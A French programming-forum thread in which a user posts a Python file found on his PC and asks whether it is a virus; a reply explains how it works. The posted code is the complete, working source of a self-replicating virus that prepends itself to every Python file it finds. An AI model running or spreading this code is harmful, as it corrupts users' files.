IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Python Discussion :

Je ne sait pas si s'est un virus.


Sujet :

Python

  1. #1
    Nouveau membre du Club
    Homme Profil pro
    Étudiant
    Inscrit en
    Avril 2014
    Messages
    27
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 38
    Localisation : France, Côte d'Or (Bourgogne)

    Informations professionnelles :
    Activité : Étudiant
    Secteur : High Tech - Matériel informatique

    Informations forums :
    Inscription : Avril 2014
    Messages : 27
    Points : 28
    Points
    28
    Par défaut Je ne sait pas si s'est un virus.
    Bonjour j'ai trouver un fichier .py sur mon pc et je ne sais pas si s'est un virus :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #!/usr/bin/python
    import os
    import datetime
    SIGNATURE = "CRANKLIN PYTHON VIRUS"
    def search(path):
        filestoinfect = []
        filelist = os.listdir(path)
        for fname in filelist:
            if os.path.isdir(path+"/"+fname):
                filestoinfect.extend(search(path+"/"+fname))
            elif fname[-3:] == ".py":
                infected = False
                for line in open(path+"/"+fname):
                    if SIGNATURE in line:
                        infected = True
                        break
                if infected == False:
                    filestoinfect.append(path+"/"+fname)
        return filestoinfect
    def infect(filestoinfect):
        virus = open(os.path.abspath(__file__))
        virusstring = ""
        for i,line in enumerate(virus):
            if i>=0 and i <39:
                virusstring += line
        virus.close
        for fname in filestoinfect:
            f = open(fname)
            temp = f.read()
            f.close()
            f = open(fname,"w")
            f.write(virusstring + temp)
            f.close()
    def bomb():
        if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
            print "HAPPY BIRTHDAY CRANKLIN!"
    filestoinfect = search(os.path.abspath(""))
    infect(filestoinfect)
    bomb()
    es que quelqu'un avec plus d’expérience pourrait me dire si s'est un virus et a quoi il sert ?
    merci et bonne journée

  2. #2
    Expert éminent Avatar de BufferBob
    Profil pro
    responsable R&D vidage de truites
    Inscrit en
    Novembre 2010
    Messages
    3 035
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : responsable R&D vidage de truites

    Informations forums :
    Inscription : Novembre 2010
    Messages : 3 035
    Points : 8 400
    Points
    8 400
    Par défaut
    salut,

    Citation Envoyé par progammaster Voir le message
    es que quelqu'un avec plus d’expérience pourrait me dire si s'est un virus
    il a une procédure d'infection, à chaque fois qu'il est exécuté il cherche des fichier .py et se réplique dedans en mode prepend (s'ajoute lui même au début du script python infecté), il possède une charge utile qui ne fait qu'afficher HAPPY BIRTHDAY CRANKLIN!
    on peut considérer que c'est un virus, le code est par ailleurs assez mauvais.

    et a quoi il sert ?
    à rien, souhaiter un bon anniversaire peut-être ?

  3. #3
    Nouveau membre du Club
    Homme Profil pro
    Étudiant
    Inscrit en
    Avril 2014
    Messages
    27
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 38
    Localisation : France, Côte d'Or (Bourgogne)

    Informations professionnelles :
    Activité : Étudiant
    Secteur : High Tech - Matériel informatique

    Informations forums :
    Inscription : Avril 2014
    Messages : 27
    Points : 28
    Points
    28
    Par défaut
    Merci beaucoup

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Réponses: 26
    Dernier message: 23/12/2009, 17h33
  2. Startx ne fonction pas si .xsession est présent
    Par anti-conformiste dans le forum Applications et environnements graphiques
    Réponses: 7
    Dernier message: 28/01/2006, 10h43
  3. Réponses: 19
    Dernier message: 26/12/2005, 01h04
  4. [encodage] Unicode ne sait pas lire unicode...
    Par Mr Hyde dans le forum Bibliothèques tierces
    Réponses: 10
    Dernier message: 01/12/2005, 15h32

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo